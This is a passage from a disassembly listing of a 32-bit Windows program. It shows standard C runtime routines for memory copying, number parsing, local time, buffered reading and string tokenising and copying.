large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416458 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416477 proc near ; CODE XREF: sub_404D21+26p ; .nsp0:0041FEE5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415E3D pop ecx retn sub_416477 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416490 proc near ; CODE XREF: sub_404D92+3Ap ; sub_418B28+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4164B0 cmp edi, eax jb loc_416628 loc_4164B0: ; CODE XREF: sub_416490+16j test edi, 3 jnz short loc_4164CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- loc_4164CC: ; CODE XREF: sub_416490+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4164E4 and eax, 3 add ecx, eax jmp dword ptr loc_4164EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4164E4: ; CODE XREF: sub_416490+46j jmp dword ptr loc_4165E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4164EC: ; CODE XREF: sub_416490+31j ; sub_416490+8Ej ... jmp off_41656C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_416500 dd offset loc_41652C dd offset loc_416550 ; --------------------------------------------------------------------------- loc_416500: ; DATA XREF: sub_416490+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41652C: ; DATA XREF: sub_416490+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416550: ; DATA XREF: sub_416490+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4164EC rep movsd jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41656C dd offset loc_4165CF ; DATA XREF: sub_416490:loc_4164ECr dd offset loc_4165BC dd offset loc_4165B4 dd offset loc_4165AC dd offset loc_4165A4 dd offset loc_41659C dd offset loc_416594 dd offset loc_41658C ; --------------------------------------------------------------------------- loc_41658C: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416594: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41659C: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4165A4: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4165AC: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4165B4: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4165BC: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4165CF: ; CODE XREF: sub_416490:loc_4164ECj ; DATA XREF: sub_416490:off_41656Co jmp off_4165D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4165D8 dd offset loc_4165E8 ; DATA XREF: sub_416490+35r ; sub_416490+92r ... dd offset loc_4165F0 dd offset loc_4165FC dd offset loc_416610 ; --------------------------------------------------------------------------- loc_4165E8: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165F0: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4165FC: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_416610: ; CODE XREF: sub_416490+35j ; sub_416490+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416628: ; CODE XREF: sub_416490+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41665C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416650: ; CODE XREF: sub_416490+1B1j ; sub_416490+208j ... neg ecx jmp off_416720[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41665C: ; CODE XREF: sub_416490+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416674 and eax, 3 sub ecx, eax jmp dword ptr loc_416674+4[eax*4] ; --------------------------------------------------------------------------- loc_416674: ; CODE XREF: sub_416490+1D6j ; DATA XREF: sub_416490+1DDr jmp off_416770[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [esi+41h], ah add [eax-2FFFBE9Ah], ch inc cx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_416650 std rep movsd cld jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416724 dd offset loc_41672C dd offset loc_416734 dd offset loc_41673C dd offset loc_416744 dd offset loc_41674C dd offset loc_416754 off_416720 dd offset loc_416767 ; DATA XREF: sub_416490+1C2r ; --------------------------------------------------------------------------- loc_416724: ; DATA XREF: sub_416490+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41672C: ; DATA XREF: sub_416490+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_416734: ; DATA XREF: sub_416490+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41673C: ; DATA XREF: sub_416490+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_416744: ; DATA XREF: sub_416490+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41674C: ; DATA XREF: sub_416490+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_416754: ; DATA XREF: sub_416490+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_416767: ; CODE XREF: sub_416490+1C2j ; DATA XREF: sub_416490:off_416720o jmp off_416770[edx*4] ; --------------------------------------------------------------------------- align 10h off_416770 dd offset loc_416780 ; DATA XREF: sub_416490+1B7r ; sub_416490:loc_416674r ... dd offset loc_416788 dd offset loc_416798 dd offset loc_4167AC ; --------------------------------------------------------------------------- loc_416780: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416788: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416798: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4167AC: ; CODE XREF: sub_416490+1B7j ; sub_416490:loc_416674j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416490 endp ; =============== S U B R O U T I N E ======================================= sub_4167C5 proc near ; CODE XREF: sub_404DF9+34p ; sub_404DF9+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415DDB pop ecx pop ecx retn sub_4167C5 endp ; =============== S U B R O U T I N E ======================================= sub_4167D3 proc near ; CODE XREF: sub_416840+4p arg_0 = dword ptr 4 push esi push dword_46AB14 call sub_41AC48 mov edx, dword_46AB14 pop ecx mov ecx, dword_46AB10 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_416832 push edx call sub_41AC48 add eax, 10h push eax push dword_46AB14 call sub_4174DF add esp, 0Ch test eax, eax jnz short loc_416815 retn ; --------------------------------------------------------------------------- loc_416815: ; CODE XREF: sub_4167D3+3Fj mov ecx, dword_46AB10 sub ecx, dword_46AB14 mov dword_46AB14, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_46AB10, ecx loc_416832: ; CODE XREF: sub_4167D3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_46AB10, 4 retn sub_4167D3 endp ; =============== S U B R O U T I N E ======================================= sub_416840 proc near ; CODE XREF: sub_404EE6+1Ap ; sub_4200EE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4167D3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_416840 endp ; =============== S U B R O U T I N E ======================================= sub_416852 proc near ; DATA XREF: .nsp0:00423018o push 80h call sub_415DC9 test eax, eax pop ecx mov dword_46AB14, eax jnz short loc_416873 push 18h call sub_417BEE mov eax, dword_46AB14 pop ecx loc_416873: ; CODE XREF: sub_416852+12j and dword ptr [eax], 0 mov eax, dword_46AB14 mov dword_46AB10, eax retn sub_416852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416881 proc near ; CODE XREF: sub_416A89+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_416899: ; CODE XREF: sub_416881+46j cmp dword_437F7C, 1 jle short loc_4168B1 movzx eax, bl push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_4168C0 ; --------------------------------------------------------------------------- loc_4168B1: ; CODE XREF: sub_416881+1Fj mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_4168C0: ; CODE XREF: sub_416881+2Ej test eax, eax jz short loc_4168C9 mov bl, [esi] inc esi jmp short loc_416899 ; --------------------------------------------------------------------------- loc_4168C9: ; CODE XREF: sub_416881+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_4168D7 or [ebp+arg_C], 2 jmp short loc_4168DC ; --------------------------------------------------------------------------- loc_4168D7: ; CODE XREF: sub_416881+4Ej cmp bl, 2Bh jnz short loc_4168E2 loc_4168DC: ; CODE XREF: sub_416881+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_4168E2: ; CODE XREF: sub_416881+59j mov eax, [ebp+arg_8] test eax, eax jl loc_416A79 cmp eax, 1 jz loc_416A79 cmp eax, 24h jg loc_416A79 push 10h test eax, eax pop ecx jnz short loc_41692A cmp bl, 30h jz short loc_416914 mov [ebp+arg_8], 0Ah jmp short loc_416946 ; --------------------------------------------------------------------------- loc_416914: ; CODE XREF: sub_416881+88j mov al, [esi] cmp al, 78h jz short loc_416927 cmp al, 58h jz short loc_416927 mov [ebp+arg_8], 8 jmp short loc_416946 ; --------------------------------------------------------------------------- loc_416927: ; CODE XREF: sub_416881+97j ; sub_416881+9Bj mov [ebp+arg_8], ecx loc_41692A: ; CODE XREF: sub_416881+83j cmp [ebp+arg_8], ecx jnz short loc_416946 cmp bl, 30h jnz short loc_416946 mov al, [esi] cmp al, 78h jz short loc_41693E cmp al, 58h jnz short loc_416946 loc_41693E: ; CODE XREF: sub_416881+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_416946: ; CODE XREF: sub_416881+91j ; sub_416881+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_416956: ; CODE XREF: sub_416881+16Cj cmp dword_437F7C, 1 movzx esi, bl jle short loc_41696E push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_416979 ; --------------------------------------------------------------------------- loc_41696E: ; CODE XREF: sub_416881+DFj mov eax, off_437D70 mov al, [eax+esi*2] and eax, 4 loc_416979: ; CODE XREF: sub_416881+EBj test eax, eax jz short loc_416985 movsx ecx, bl sub ecx, 30h jmp short loc_4169B7 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416881+FAj cmp dword_437F7C, 1 jle short loc_416999 push edi push esi call sub_418556 pop ecx pop ecx jmp short loc_4169A4 ; --------------------------------------------------------------------------- loc_416999: ; CODE XREF: sub_416881+10Bj mov eax, off_437D70 mov ax, [eax+esi*2] and eax, edi loc_4169A4: ; CODE XREF: sub_416881+116j test eax, eax jz short loc_4169F2 movsx eax, bl push eax call sub_41AC71 pop ecx mov ecx, eax sub ecx, 37h loc_4169B7: ; CODE XREF: sub_416881+102j cmp ecx, [ebp+arg_8] jnb short loc_4169F2 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_4169DC jnz short loc_4169D6 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_4169DC loc_4169D6: ; CODE XREF: sub_416881+147j or [ebp+arg_C], 4 jmp short loc_4169E5 ; --------------------------------------------------------------------------- loc_4169DC: ; CODE XREF: sub_416881+145j ; sub_416881+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_4169E5: ; CODE XREF: sub_416881+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_416956 ; --------------------------------------------------------------------------- loc_4169F2: ; CODE XREF: sub_416881+125j ; sub_416881+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_416A10 test edx, edx jz short loc_416A0A mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_416A0A: ; CODE XREF: sub_416881+181j and [ebp+var_8], 0 jmp short loc_416A5D ; --------------------------------------------------------------------------- loc_416A10: ; CODE XREF: sub_416881+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_416A36 test cl, 1 jnz short loc_416A5D and ecx, 2 jz short loc_416A2D cmp [ebp+var_8], 80000000h ja short loc_416A36 loc_416A2D: ; CODE XREF: sub_416881+1A1j test ecx, ecx jnz short loc_416A5D cmp [ebp+var_8], eax jbe short loc_416A5D loc_416A36: ; CODE XREF: sub_416881+197j ; sub_416881+1AAj test byte ptr [ebp+arg_C], 1 mov dword_469494, 22h jz short loc_416A4C or [ebp+var_8], 0FFFFFFFFh jmp short loc_416A5D ; --------------------------------------------------------------------------- loc_416A4C: ; CODE XREF: sub_416881+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_416A5D: ; CODE XREF: sub_416881+18Dj ; sub_416881+19Cj ... test edx, edx jz short loc_416A66 mov eax, [ebp+var_4] mov [edx], eax loc_416A66: ; CODE XREF: sub_416881+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_416A74 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_416A74: ; CODE XREF: sub_416881+1E9j mov eax, [ebp+var_8] jmp short loc_416A84 ; --------------------------------------------------------------------------- loc_416A79: ; CODE XREF: sub_416881+66j ; sub_416881+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_416A82 mov [eax], edi loc_416A82: ; CODE XREF: sub_416881+1FDj xor eax, eax loc_416A84: ; CODE XREF: sub_416881+1F6j pop edi pop esi pop ebx leave retn sub_416881 endp ; =============== S U B R O U T I N E ======================================= sub_416A89 proc near ; CODE XREF: sub_405409+4BDp ; sub_40CE55+3641p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416881 add esp, 10h retn sub_416A89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AA0 proc near ; CODE XREF: sub_405409+266p ; sub_405409+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_415CF0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41AD3D add esp, 10h leave retn sub_416AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AD4 proc near ; CODE XREF: sub_405409+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42105C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_42115C ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_46948A jnz short loc_416B39 mov ax, [ebp+var_18] cmp ax, word_469488 jnz short loc_416B39 mov ax, [ebp+var_1A] cmp ax, word_469486 jnz short loc_416B39 mov ax, [ebp+var_1E] cmp ax, word_469482 jnz short loc_416B39 mov ax, [ebp+var_20] cmp ax, word_469480 jnz short loc_416B39 mov eax, dword_469478 jmp short loc_416B7E ; --------------------------------------------------------------------------- loc_416B39: ; CODE XREF: sub_416AD4+28j ; sub_416AD4+35j ... lea eax, [ebp+var_CC] push eax call dword_421158 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_416B66 cmp eax, 2 jnz short loc_416B62 cmp [ebp+var_32], 0 jz short loc_416B62 cmp [ebp+var_24], 0 jz short loc_416B62 push 1 pop eax jmp short loc_416B69 ; --------------------------------------------------------------------------- loc_416B62: ; CODE XREF: sub_416AD4+7Aj ; sub_416AD4+81j ... xor eax, eax jmp short loc_416B69 ; --------------------------------------------------------------------------- loc_416B66: ; CODE XREF: sub_416AD4+75j or eax, 0FFFFFFFFh loc_416B69: ; CODE XREF: sub_416AD4+8Cj ; sub_416AD4+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_469480 movsd movsd movsd movsd pop edi mov dword_469478, eax pop esi loc_416B7E: ; CODE XREF: sub_416AD4+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41B7EE mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_416BAE mov [ecx], eax locret_416BAE: ; CODE XREF: sub_416AD4+D6j leave retn sub_416AD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BB0 proc near ; CODE XREF: sub_405A89+4Ep ; sub_406C3E+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416BD4 xor eax, eax jmp loc_416C7D ; --------------------------------------------------------------------------- loc_416BD4: ; CODE XREF: sub_416BB0+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416BE7 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416BF3 ; --------------------------------------------------------------------------- loc_416BE7: ; CODE XREF: sub_416BB0+2Dj mov [ebp+arg_C], 1000h jmp short loc_416BF3 ; --------------------------------------------------------------------------- loc_416BF0: ; CODE XREF: sub_416BB0+C4j mov ecx, [ebp+arg_0] loc_416BF3: ; CODE XREF: sub_416BB0+35j ; sub_416BB0+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416C25 mov eax, [esi+4] test eax, eax jz short loc_416C25 cmp ecx, eax mov edi, ecx jb short loc_416C0A mov edi, eax loc_416C0A: ; CODE XREF: sub_416BB0+56j push edi push dword ptr [esi] push ebx call sub_4155D0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416C70 ; --------------------------------------------------------------------------- loc_416C25: ; CODE XREF: sub_416BB0+49j ; sub_416BB0+50j cmp ecx, [ebp+arg_C] jb short loc_416C58 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416C3B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416C3B: ; CODE XREF: sub_416BB0+80j push eax push ebx push dword ptr [esi+10h] call sub_41B989 add esp, 0Ch test eax, eax jz short loc_416C82 cmp eax, 0FFFFFFFFh jz short loc_416C88 sub [ebp+arg_0], eax add ebx, eax jmp short loc_416C70 ; --------------------------------------------------------------------------- loc_416C58: ; CODE XREF: sub_416BB0+78j push esi call sub_41B8B0 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416C8C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416C70: ; CODE XREF: sub_416BB0+73j ; sub_416BB0+A6j cmp [ebp+arg_0], 0 jnz loc_416BF0 mov eax, [ebp+arg_8] loc_416C7D: ; CODE XREF: sub_416BB0+1Fj ; sub_416BB0+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416C82: ; CODE XREF: sub_416BB0+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416C8C ; --------------------------------------------------------------------------- loc_416C88: ; CODE XREF: sub_416BB0+9Fj or dword ptr [esi+0Ch], 20h loc_416C8C: ; CODE XREF: sub_416BB0+B2j ; sub_416BB0+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416C7D sub_416BB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C98 proc near ; CODE XREF: sub_405B23+2B2p ; sub_406100+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_416CB1: ; CODE XREF: sub_416C98+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_416CB1 mov edx, [ebp+arg_0] test edx, edx jnz short loc_416CD9 mov edx, dword_469490 loc_416CD9: ; CODE XREF: sub_416C98+39j ; sub_416C98+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_416CF9 test al, al jz short loc_416CF9 inc edx jmp short loc_416CD9 ; --------------------------------------------------------------------------- loc_416CF9: ; CODE XREF: sub_416C98+58j ; sub_416C98+5Cj mov ebx, edx loc_416CFB: ; CODE XREF: sub_416C98+81j mov al, [edx] test al, al jz short loc_416D1F movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_416D1B inc edx jmp short loc_416CFB ; --------------------------------------------------------------------------- loc_416D1B: ; CODE XREF: sub_416C98+7Ej and byte ptr [edx], 0 inc edx loc_416D1F: ; CODE XREF: sub_416C98+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_469490, edx and eax, ebx pop ebx leave retn sub_416C98 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D40 proc near ; CODE XREF: sub_4063B0+1B4p ; sub_407276+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_416DC3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_416D64 shr ecx, 2 jnz short loc_416DD1 jmp short loc_416D85 ; --------------------------------------------------------------------------- loc_416D64: ; CODE XREF: sub_416D40+1Bj ; sub_416D40+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_416D92 test al, al jz short loc_416D9A test esi, 3 jnz short loc_416D64 mov ebx, ecx shr ecx, 2 jnz short loc_416DD1 loc_416D80: ; CODE XREF: sub_416D40+8Fj and ebx, 3 jz short loc_416D92 loc_416D85: ; CODE XREF: sub_416D40+22j ; sub_416D40+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_416DBE dec ebx jnz short loc_416D85 loc_416D92: ; CODE XREF: sub_416D40+2Bj ; sub_416D40+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_416D9A: ; CODE XREF: sub_416D40+2Fj test edi, 3 jz short loc_416DB4 loc_416DA2: ; CODE XREF: sub_416D40+72j mov [edi], al inc edi dec ecx jz loc_416E36 test edi, 3 jnz short loc_416DA2 loc_416DB4: ; CODE XREF: sub_416D40+60j mov ebx, ecx shr ecx, 2 jnz short loc_416E27 loc_416DBB: ; CODE XREF: sub_416D40+7Fj ; sub_416D40+F4j mov [edi], al inc edi loc_416DBE: ; CODE XREF: sub_416D40+4Dj dec ebx jnz short loc_416DBB pop ebx pop esi loc_416DC3: ; CODE XREF: sub_416D40+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_416DC9: ; CODE XREF: sub_416D40+A9j ; sub_416D40+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_416D80 loc_416DD1: ; CODE XREF: sub_416D40+20j ; sub_416D40+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_416DC9 test dl, dl jz short loc_416E1B test dh, dh jz short loc_416E11 test edx, 0FF0000h jz short loc_416E07 test edx, 0FF000000h jnz short loc_416DC9 mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E07: ; CODE XREF: sub_416D40+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E11: ; CODE XREF: sub_416D40+B1j and edx, 0FFh mov [edi], edx jmp short loc_416E1F ; --------------------------------------------------------------------------- loc_416E1B: ; CODE XREF: sub_416D40+ADj xor edx, edx mov [edi], edx loc_416E1F: ; CODE XREF: sub_416D40+C5j ; sub_416D40+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_416E31 loc_416E27: ; CODE XREF: sub_416D40+79j xor eax, eax loc_416E29: ; CODE XREF: sub_416D40+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_416E29 loc_416E31: ; CODE XREF: sub_416D40+E5j and ebx, 3 jnz short loc_416DBB loc_416E36: ; CODE XREF: sub_416D40+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_416D40 endp ; =============== S U B R O U T I N E ======================================= sub_416E3E proc near ; CODE XREF: sub_406C3E+2E2p ; sub_406C3E+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_416EBA mov edi, [esp+8+arg_8] test edi, edi jz short loc_416E5D cmp edi, 1 jz short loc_416E5D cmp edi, 2 jnz 